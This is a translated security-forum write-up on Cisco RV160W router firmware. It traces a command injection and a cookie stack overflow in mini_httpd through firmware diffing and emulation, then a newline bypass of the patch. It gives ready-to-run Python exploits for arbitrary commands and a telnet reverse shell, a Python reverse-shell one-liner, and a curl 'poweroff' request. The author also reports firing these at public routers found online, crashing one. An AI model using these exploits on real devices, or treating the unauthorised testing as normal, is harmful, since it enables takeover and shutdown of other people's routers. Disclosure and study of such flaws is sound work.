Exploiting Cisco RV160W Router Vulnerabilities: From 1-Day Analysis to 0-Day Discovery

This article is a highlight from the Kanxue Forum. Author ID: b0ldfrev

(This article was written a few months ago, and was not published until the official patch was released.) I initially planned to analyze the recent unconditional RCE vulnerability in the Cisco RV160W router. While diffing the firmware, I made some new discoveries.

https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html

Initial Analysis of the Firmware

According to the official announcement, multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV160, RV160W, RV260, RV260P, and RV260W VPN routers, which may allow unauthorized remote attackers to execute arbitrary code on affected devices as the root user. These vulnerabilities were fixed in firmware version v1.0.01.02.

I downloaded two firmware versions from the Cisco Software Center:

Version v1.0.01.01 is the firmware with vulnerabilities.

Using binwalk to extract the firmware, I searched for binary files that provide web services. I could actually guess based on some initialization scripts in the rc.d and init.d directories. Here, for the sake of generality and research purposes, I will use another method to search.

As I do not have a ready device, Firmadyne is somewhat cumbersome. Therefore, I found a configuration tutorial for RV160W on YouTube, observed the URL in the browser, and located admin.cgi based on the keyword “configurationManagement”, thus identifying that the web component is mini_httpd (32-bit ARM little-endian program).

b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/nullusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listwww/gettingStarted.htmwww/configurationManagement.htmwww/app.min20200813.jswww/home.htmb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/nullusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped

After locating the web service program, I compared the binary code of the mini_httpd programs from both firmware versions (of course, I also compared admin.cgi, which has many modified codes, but this time I only focused on the mini_httpd component).

The classic tool is bindiff, but I did not find the key code modification part using it.

Then I used an IDA plugin called diaphora. After exporting the sqlite database for comparison, I found that the sub_1B034 function of mini_httpd2 (corresponding to sub_1AF58 of mini_httpd1) and the sub_15CE4 function (corresponding to sub_15CE4 of mini_httpd1) had significant changes.

Analysis of the Changes in the sub_1AF58 Function

Locate the relevant code sections in both programs.

mini_httpd1

mini_httpd2

In the new version, the formatted v3 is passed as a parameter to system in sub_1B340, after v3 has been processed by the sub_1B034 function.

The sub_1b034 function is newly added and is mainly for filtering characters.

At this point, it is evident that a command injection vulnerability exists at the system function, thus mini_httpd2 has fixed this vulnerability by filtering dangerous characters.

Analysis of the Changes in the sub_15CE4 Function

mini_httpd1

mini_httpd2

The strcpy function has been replaced with strncpy, indicating that there is a stack overflow vulnerability here.

After the preliminary reverse analysis of the firmware, it is basically determined that the old version firmware has at least two vulnerabilities: command injection and stack overflow.

Firmware Simulation

To simulate the httpd service, for subsequent process debugging, I chose to use qemu system mode for simulation.

Copy the 1.0.01.01 firmware file system into qemu, mount some key directories, and execute sh using chroot.

root@debian-armhf:~/rootfs# lsbin  etc  media  overlay  rom    sbin  test_scripts  usr  wwwdev  lib  mnt     proc      root    sys   tmp        varroot@debian-armhf:~/rootfs# mount -t proc  /proc/ ./proc/root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/root@debian-armhf:~/rootfs# chroot . ./bin/sh BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / #

Before running mini_httpd, it may be necessary to initialize the environment directories, which are often found in the rc.d and init.d startup scripts, so I will search globally for references to “mini_httpd”.

b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/nulletc/scripts/mini_httpd/mini_httpd.shetc/rc.d/S23mini_httpd.initetc/init.d/mini_httpd.initetc/init.d/config_update.shusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.list

I found that etc/scripts/mini_httpd/mini_httpd.sh and etc/rc.d/S23mini_httpd.init and etc/init.d/mini_httpd.init have similar content, which are mainly to initialize some files and eventually start /usr/sbin/mini_httpd.

#!/bin/sh /etc/rc.common START=23 version_gt() {    test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";}get_version() {    version=`cat $1 | grep '"VERSION"' | awk -F '"' '{print $4}'`    if [[ "${version/V/}" != "$version" ]]; then        version=`echo $version | awk -F 'V' '{print $2}'`    fi    echo $version}start() {    fwLgPath="/www/lang"    mntLgPath="/mnt/packages/languages"    mkdir -p /tmp/download    mkdir -p /tmp/download    mkdir -p /tmp/download/certificate    mkdir -p /tmp/download/log    mkdir -p /tmp/download/configuration    mkdir -p /tmp/www    mkdir -p /tmp/portal_img    if [ ! -d /mnt/packages/languages ]; then        mkdir -p /mnt/packages/languages        cp -rf ${fwLgPath}/* ${mntLgPath}    else        # check version        list="English Spanish Frensh German Itailian"        for i in $list; do            if [ -f ${fwLgPath}/${i}.js ]; then                if [ -f ${mntLgPath}/${i}.js ]; then                    tmp_version=`cat ${mntLgPath}/${i}.js | grep '"VERSION"' | awk -F '"' '{print $4}'`                    fw_version=$(get_version ${fwLgPath}/${i}.js)                    mnt_version=$(get_version ${mntLgPath}/${i}.js)                    if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                    elif ! version_gt $mnt_version $fw_version; then                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                    fi                else                    cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                fi            fi        done    fi     /etc/scripts/mini_httpd/mini_httpd.sh start} stop() {    /etc/scripts/mini_httpd/mini_httpd.sh stop} reload() {    /etc/scripts/mini_httpd/mini_httpd.sh reload}

I tried to run one:

/ # /etc/init.d/mini_httpd.inituci: Entry not foundSyntax: /etc/init.d/mini_httpd.init [command] Available commands:    start    Start the service    stop    Stop the service    restart    Restart the service    reload    Reload configuration files (or restart if that fails)    enable    Enable service autostart    disable    Disable service autostart / # /etc/init.d/mini_httpd.init startuci: Entry not foundls: /mnt/configcert/confd/startup/: No such file or directoryuse backup cert for mini-httpd ...1 0 0 0setsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address/ #

I found the error “can’t bind to any address”. This error occurs in the mini_httpd program. At this point, some files have actually been initialized, and we can focus only on the mini_httpd program itself.

We directly run mini_httpd, and the same error occurs.

/ # /usr/sbin/mini_httpdsetsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address

The reason for the error is that the setsockopt function fails with an invalid protocol parameter. After several attempts, I found that this setting of socket attributes does not significantly affect the hook on connections; the key service can still start.

Locating the point of the program error, it is caused by the failure of setsockopt returning a negative value.

I simply hooked the setsockopt function to always return 1.

/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook  */#include <stdio.h>#include <stdlib.h>#include<sys/socket.h> int setsockopt(int sockfd, int level, int optname,                      const void *optval, socklen_t optlen){ return 1;}

BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / # LD_PRELOAD="/hook" ./usr/sbin/mini_httpdbind: Address already in use/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only / # ps |grep mini_httpd 2364 root      3540 S    ./usr/sbin/mini_httpd 2369 root      3120 S    grep mini_httpd

As we can see, the service is running. Let’s try to access it.

According to the 403 character, I located it in the program:

After executing the sub_1b5f0 function, the program exits. I suspect it is an issue with certain environment variables. Here, to avoid changing the code logic, I directly patched the mini_httpd program code block to nop the jump to sub_1B5F0.

After executing the program again, I accessed the web:

Firmware Reverse Analysis and Debugging

The next step is to conduct a detailed reverse process for mini_httpd, which is essentially to find the triggering path.

Command Injection Vulnerability Analysis

I renamed the vulnerability triggering function to vuln, and the upper-level function to vuln_back1, and the upper-upper-level function to vuln_back2……..

vuln_back2

In vuln_back2, we can see that we only need the contrl_arg string to contain “dniapi/” to enter vuln_back1.

Looking further up, contrl_arg is assigned as dword_34F60 + 1, and the first character of dword_34F60 must be ‘/’, indicating that contrl_arg is a request line URL.

To verify my guess, I will perform dynamic debugging since all requests are processed in forked child processes. For convenience, I hooked the fork function to return 0 and constructed GET /hello.txt.

vuln_back1

In vuln_back1, it checks whether contrl_arg contains related characters; if not, it will execute vuln and pass contrl_arg as a parameter when calling vuln.

vuln

In the vuln function, there is one last layer of judgment, which requires the first 9 characters of contrl_arg to equal “download/”.

Therefore, we can construct the GET request URL as “/download/dniapi/”. To trigger the system function, I also need to set contrl_cmd’s value to “Basic “.

Searching for references, I found that contrl_cmd is assigned in the vuln_back2 function:

I boldly guessed that this is the Authorization field in the HTTP head.

In summary, the final request that can trigger the system function is approximately as follows:

GET /download/dniapi/ HTTP/1.1Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx

The vuln function processes contrl_cmd + 6 (the string after Basic) in the sub_1E19C function, and the result is placed in v5, which is ultimately part of the concatenated command.

3 bytes at a time, and an obvious base64 decoding character table. It has been verified that sub_1E19C is the base64 decryption function.

Therefore, we just need to replace the characters after Authorization: Basic with the base64 encoded form of the command we want to execute, while truncating the original curl command with the character; we can execute any command. Below is an example using the date command.

Command Inject EXP

# affect firmware version <1.0.01.02import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3:    print "Parameter error. python exp.py url \"command\""    exit(0) url = sys.argv[1]cmd =  sys.argv[2] CMD=";"+cmd+";"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/':   url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"

Stack Overflow Vulnerability Analysis

Similarly, I renamed the vulnerability triggering function to overflow, and the upper-level functions to overflow_back1, overflow_back2.

In the vuln_back2 function, it processes the cookie and passes it as a parameter to the overflow_back2 function.

Before this, there will be a check to see whether the URL resource is accessible without logging in.

So I need to request these resources to return 1.

In overflow_back2, after checking that the cookie is not empty, it enters overflow_back1.

Then it checks whether the cookie contains sessionID. If it does, it splits it by spaces and passes it to the overflow function.

In the overflow function, the parameter a2 points to an empty character, so it ultimately leads to an overflow when the sessionID length is not restricted during strcpy.

The POC is as follows:

import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/':   url=url[:-1] cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac" payload = "sessionID="+cmd urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)

Analyzing the crash results, it is known that the memory reference exception was thrown before returning from the overflow function. The reason is that the data was too long, covering the fifth parameter a5 pushed onto the stack, which caused the last strcpy to write data to an invalid address.

Therefore, to ensure the exploit, we need to exactly cover the return address of the overflow function.

After debugging, the offset was measured to be 268, and the POC is as follows:

import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/':   url=url[:-1] payload = "sessionID=1234".ljust(268,"a")+"bbb" urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)

As we can see, the return address was overwritten to “bbb” (0x626262), and we can observe that at this point, the r0 register points to the string after “sessionID=”, so we can place the command string after “sessionID=” and then control the PC to jump to the system function.Since the cookie is filtered for spaces in the overflow_back1 function and for equal signs in the overflow function, the command execution is restricted. Spaces can be replaced with ${IFS}, while equal signs can be avoided.

Stack Overflow EXP

Regarding the execution of commands by system, I did not want to seek alternative paths for ROP or upload backdoor programs. I tried many techniques and ultimately used this simple and general method to pop a shell (input and output separated).

# affect firmware version <1.0.01.02import requestsimport urllib3import sys  if len(sys.argv)!=5:    print "Parameter error. python exp.py url reverse_shell_host input_port output_port"    exit(0)  url = sys.argv[1]reverse_shell_host =  sys.argv[2]input_port= sys.argv[3]output_port= sys.argv[4]  if url[-1:]=='/':   url=url[:-1]  cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port cmd2=cmd.replace(' ',"${IFS}")  payload = ("sessionID="+cmd2+";").ljust(268,"a")payload += "\x1c\xb1\x01"  urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.post(url,headers=head,verify=False) print(r)print(r.text)print(r.content)

Local Testing

Taking the Command Inject EXP as an example:

python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.122.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"

Testing on Real Devices

Since I do not have a real device in hand, I can only find some public devices online to verify.

Using Burp Suite to capture packets to obtain device characteristics:

Content-Security-Policy: is a very obvious feature.

Searching on Fofa with header=”frame-ancestors ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; style-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval'”

I only searched in Brazil:

Using the exp to try it out:

Gaining 0-Day

Initially, when I compared the patches, I found that the v1.0.01.02 firmware added a character filtering function before sprintf.

The complete code of this function is as follows:

_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024){  _BYTE *v3; // r3  _BYTE *v4; // r3  _BYTE *v5; // r3  _BYTE *v6; // r3  _BYTE *v7; // r3  _BYTE *v8; // r2  int v9; // [sp+10h] [bp-14h]  _BYTE *v10; // [sp+14h] [bp-10h]  int v12; // [sp+1Ch] [bp-8h]  int v13; // [sp+1Ch] [bp-8h]  int v14; // [sp+1Ch] [bp-8h]   v12 = 0;  v9 = a3_1024 - 1;  v10 = output;  while ( *input )  {    if ( *input == '~'      || *input == '`'      || *input == '#'      || *input == '$'      || *input == '&amp;'      || *input == '*'      || *input == '('      || *input == ')'      || *input == '|'      || *input == '['      || *input == ']'      || *input == '{'      || *input == '}'      || *input == ';'      || *input == '''      || *input == '"'      || *input == '&lt;'      || *input == '&gt;'      || *input == '/'      || *input == '?'      || *input == '!'      || *input == ' '      || *input == '='      || *input == '	' )    {      v3 = v10++;      *v3 = '\';      if ( ++v12 >= v9 )        break;    }    else if ( *input == '\' )    {      v4 = v10++;      *v4 = '\';      v13 = v12 + 1;      if ( v13 >= v9 )        break;      v5 = v10++;      *v5 = '\';      v14 = v13 + 1;      if ( v14 >= v9 )        break;      v6 = v10++;      *v6 = '\';      v12 = v14 + 1;      if ( v12 >= v9 )        break;    }    v7 = v10++;    v8 = input++;    *v7 = *v8;    if ( ++v12 >= v9 )      break;  }  *v10 = 0;  return output;}

After analysis, the function mainly scans the string and adds an escape character “\” before any detected sensitive characters.

For example, if we construct the command ls -all, it will be processed to ls\ -all

I tried various methods but could not bypass it.

However, I found that it did not filter newline characters “\n”, which allows us to use newline characters to truncate commands, but we can only execute programs in some environment variable directories without parameters. The possible use is to open some external interfaces like telnetd or others.

This is also a serious filtering flaw because we can construct “\npoweroff\n” to shut down the router, which is a direct denial of service attack.

EXP

Based on the above Command Inject EXP code, we can replace the character concatenation part with \n.

# affect firmware version <1.0.01.04import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3:    print "Parameter error. python exp.py url \"command with no parameters\""    exit(0) url = sys.argv[1]cmd =  sys.argv[2] CMD="\n"+cmd+"\n"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/':   url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"

Testing

I attempted to inject the telnetd command to start the telnetd service:

However, after testing on public devices with the 1-day exploit, it was found that there were no configured user passwords in this series of routers.

Next, I only attempted the poweroff command injection (the effect is the most intuitive and obvious). The POC is as follows:

curl -i -s -k  -X $'GET' \    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \    -b $'local_lang=%22English%22; ru=0' \    $'https://127.0.0.1/download/dniapi/'

I found a public device online that failed to get a shell with the 1-day exploit, but successfully crashed using the POC.

Notices

The vulnerability has been reported to Cisco, and Cisco has confirmed and patched the vulnerability.https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv-code-execution-9UVJr7k4.html

Exploiting Cisco RV160W Router Vulnerabilities: From 1-Day Analysis to 0-Day Discovery

Kanxue ID: b0ldfrev

https://bbs.pediy.com/user-home-793907.htm

*This article is originally from the Kanxue Forum by b0ldfrev. Please indicate the source when reprinting from the Kanxue community.

# Previous Recommendations

1. Developing a script to dump custom client certificates from SSL libraries

2. Roll_a_d8 beginner’s write-up

3. CVE-2021-21224 analysis notes

4. Brief insight: injecting JS code into third-party CEF applications

5. Based on Mono injection to save Draw & Guess historical room data

6. A case study: vulnerability discovery example for home router D-LINK DIR-81

Public account ID: ikanxue

Official Weibo: Kanxue Security

Business Cooperation: [email protected]

Share it

Like it

Watch it

Click “Read the original text” to learn more!